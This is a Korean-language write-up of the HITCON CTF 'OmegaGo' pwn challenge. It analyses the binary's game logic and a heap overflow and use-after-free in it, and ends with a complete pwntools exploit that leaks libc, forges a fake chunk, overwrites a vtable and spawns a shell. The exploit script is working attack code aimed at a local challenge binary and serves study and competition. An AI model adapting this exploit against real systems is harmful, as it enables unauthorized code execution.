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Code Block | ||
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autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=6101f150902c6814bd0576f35c60473105a5466e, stripped autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ checksec.sh --file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ |
Binary analysis
해당 문제를 실행하면 다음과 같은 메뉴를 출력합니다.
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autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
9 ...................
8 ...................
7 ...................
6 ...................
5 ...................
4 ...................
3 ...................
2 ...................
1 ...................
Time remain: O: 180.00, X: 180.00 |
- 그리고 다음과 같은 기능을 제공합니다.
- 행,열을 번호를 입력하여 원하는 영역에 마크를 표시할 수 있습니다.
- Ex) A19
- "surrender"를 이용하여 게임을 포기하고 다시 시작할 수 있습니다.
- "regret"을 이용하여 플레이를 되돌릴 수 있습니다.
- 행,열을 번호를 입력하여 원하는 영역에 마크를 표시할 수 있습니다.
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autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 180.00 A19 ABCDEFGHIJKLMNOPQRS 19 X.................. 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ..................O Time remain: O: 180.00, X: 173.38 regret ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 180.00 surrender This AI is too strong, ah? Play history? (y/n) y ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... piece O play at J10 Time remain: O: 180.00, X: 180.00 Play again? (y/n) y ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 180.00 |
Main()
- 해당 프로그램은 main()함수에서 주 작업을 진행하지 않습니다.함수는 while() 함수를 이용하여 MainFunction()함수를 계속 호출합니다.
Code Block | ||||
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__int64 __fastcall main(__int64 a1, char **a2, char **a3) { __int64 result; // rax@3 __int64 v4; // rbx@3 __int64 v5; // [rsp+8h] [rbp-18h]@1 v5 = *MK_FP(__FS__, 40LL); alarm(0xB4u); setvbuf(stdout, 0LL, 2, 0LL); while (MainFunction()); result = 0LL; v4 = *MK_FP(__FS__, 40LL) ^ v5; return result; } |
MainFunction(0x401738)
- 해당 함수는 다음과 같은 기능을 합니다.
DefaultSet() 함수를 통해 게임 진행시 필요한 변수의 초기화를 선언합니다.
"operator new(8uLL)" 코드를 이용하여 vtable정보를 저장할 Heap 영역을 할당합니다.
- 할당된 Heap의 크기는 0x20byte 입니다.
- 할당된 Heap 영역의 주소값은 Computer, Human Class 변수에 저장합니다.
while()을 통해 게임을 플레이하기 위한 기능을 실행합니다.
gettimeofday() 함수를 이용하여 플레이어의 게임 플레이 시간을 계산합니다.
rowNumber, colNumber 의 값이 -1과 같다면 게임을 종료합니다.
- rowNumber, colNumber 의 값이 -2일 경우에는 게임 턴을 한차례 돌리는 regret()함수를 호출합니다.
- 그외의 rowNumber, colNumber 값이 입력 되면 플레이어의 플레이시간을 저장합니다.
- 총 플레이시간이 0.0보다 작으면 게임을 종료합니다.
- 총 플레이시간이 0.0보다 크면 SetMarkForBoard()함수를 이용하여 게임 보드 rowNumber,colNumber 위치에 표시합니다.
...
- Computer, Human Class에 호출하는 Player 함수의 주소는 다음과 같습니다.
Class | Call vtable function | Rename |
---|---|---|
Computer | 40290A() | |
Hummand | 402C12() | UserInput |
UserInput
- 해당 함수는 다음과 같은 기능을 합니다.
- PrintGameBoard_0() 함수를 이용하여 Go board를 출력합니다.
- scanf() 함수를 이용하여 최대 10개의 문자를 입력 받습니다.
- 입력받은 문자열은 다음과 같이 데이터 처리 합니다.
- 입력한 문자열이 "surrender"는 *colNumber, *rowNumber 변수에 -1을 저장합니다.
- 입력한 문자열이 "regret"는 *colNumber, *rowNumber 변수에 -2을 저장합니다.
- 앞에 두 문자열과 같지 않을 경우 다음과 같이 데이터를 처리합니다.
- sscanf() 함수를 이용하여 문자와 숫자 값을 분리 합니다.
- 그리고 해당 값은 CheckBoardArea()함수를 이용하여 Go board 범위 안에 포함되는지 확인합니다.
- 입력받은 문자열은 다음과 같이 데이터 처리 합니다.
...
- Computer Class에 저장되는 값(vtable addr)을 변경하기 위해서는 UAF 취약성을 이용해야 합니다.
- Player가 입력한 좌표값은 gameinfo 전역변수의 Board영역에 비트 값(01,10)으로 저장되고 있습니다.
- Game board 정보는 Heap영역에 저장되고 있습니다.
- 그리고 Overflow를 통해 할당해제 할 메모리 주소 값을 변경할 수 있습니다.
- vtable 정보를 저장하기 위해 생성되는 Heap의 크기는 0x20byte 입니다.
- 즉, UAF취약성을 생성하기 위해서 0x20 byte의 fake chunk가 필요합니다.
- 다음과 같은 구조로 Fake chunk를 생성할 수 있습니다.
0x0 | 0x8 | |
---|---|---|
0x00 | 0000000000000000 | 0000000000000000 |
0x10 | 0000000000000000 | 0000000000000020 |
0x20 | 0000000000000000 | 0000010000000000 |
0x30 | 0000000000000000 | 0000000000000020 |
0x40 | 0000000000000000 | 0000000000000000 |
0x50 | 0000000000000000 | 0000000000000000 |
0x60 | 0000000900000009 | 000000000000004F |
0x70 | 40665799D0203E64 | 4066800000000000 |
0x80 | 0000000000000000 | 0000000000000031 |
- 다음과 같은 방법으로 gameInfo에 overwrite된 주소값을 0x00의 위치로 변경할 수 있습니다.
- "surrender" 명령어를 3번 실행합니다.
- Overflow를 통해 gameInfo.board[0]영역에 저장되는 값이 0x*****410으로 끝나는 값이 되도록하기 위해서입니다.
Fake chunk 좌표값(D14, R8)을 입력합니다.
- gameInfo.board[0]에 저장된 값 0x*****410을 x*****550 으로 변경합니다.
- 이는 앞에서 설명한 "Fake chunk 구조" 에서 0x00 위치를 가리키도록 하는 것입니다.
- 좌표값 'P1', '01'
- "surrender" 명령어를 실행합니다.
- "surrender" 명령어를 3번 실행합니다.
- 디버깅을 통해 확인해 보겠습니다.
- D14, R8을 입력해 gameInfo.board[3], gameInfo.board[7]영역에 Fake chunk(0x20)을 저장합니다.
- gameInfo.board[0]영역에 주소값이 overwrite될 때 까지 게임을 Play 합니다.
- gameInfo.board[0]영역에 0x0707410 저장됬으며, P1, O1을 입력해 0x0707410 을 0x0707550으로 변경합니다.
- 그리고 "surrender" 명령어를 실행 후, Computer class의 vtable를 저장할 heap영역으로 0x0707550 영역이 할당됩니다.
- Computer class 영역에 원하는 주소 영역을 저장하였습니다.
- 이로 인해 0x0707550을 공격자가 원하는 값으로 덮어쓸수 있게 되었습니다.
- History[] 배열에 저장되는 Play 정보를 저장하는 Heap 영역을 메모리 0x0707550 보다 낮은 주소에서 부터 Heap 공간을 할당합니다.
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from pwn import * #context.log_level = 'debug' col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S'] p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac') def Play(location): p.recvuntil('\n\n') p.sendline(location) def readBoard(): global board board = [] p.recvline() for line in range(0,19): p.recv(3) board.append(p.recvuntil('\n')[0:19]) def surrender(): p.recvuntil('\n\n') p.sendline('surrender') p.recvuntil('Play history? (y/n)') p.sendline('n') p.recvuntil('Play again? (y/n)') p.sendline('y') def Fill(colStart, colEnd, row): for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1): locate = str(col_list[colNum]) locate += str(row) Play(locate) def decode(offset): bit_offset = offset * 8 data = ''.join(board) result = 0 for i in xrange(32): states = '.OX\0' val = states.index(data[bit_offset + i]) result |= val << (i * 2) return result def LeakAddress(): readBoard() return decode(0) def LeakLibcAddress(): readBoard() return decode(32) #Memory reconstruction surrender() surrender() #Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) Fill('A','K',12) #Leak LibcAddress p.recvuntil('\n\n') p.sendline('D19') p.recvuntil('\n\n') p.sendline('regret') libcAddress = LeakLibcAddress() libcBaseAddress = libcAddress - 0x3be7b8 execve_bash = libcBaseAddress + 0xe66bd log.info('Libc Address : ' + hex(libcAddress)) log.info('Libc Base Address : ' + hex(libcBaseAddress)) log.info('execve bash Address : ' + hex(execve_bash)) #Memory reconstruction surrender() surrender() surrender() #Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) #Fake Chunk Play('D14') Play('R8') #0xXXXX410 -> 0xxxxx550 Fill('A','I',10) Play('P1') Play('O1') surrender() Fill('B','S',6) for line in range(15,20): Fill('A','S',line) Play('A6') #vtable Overflow Play('B7') Play('S8') Play('R8') Play('C12') Play('F12') Play('M8') for line in range(16,19): Fill('A','S',line) Fill('A','E',15) sleep(20) Play('F15|'+p64(execve_bash)) p.interactive() |
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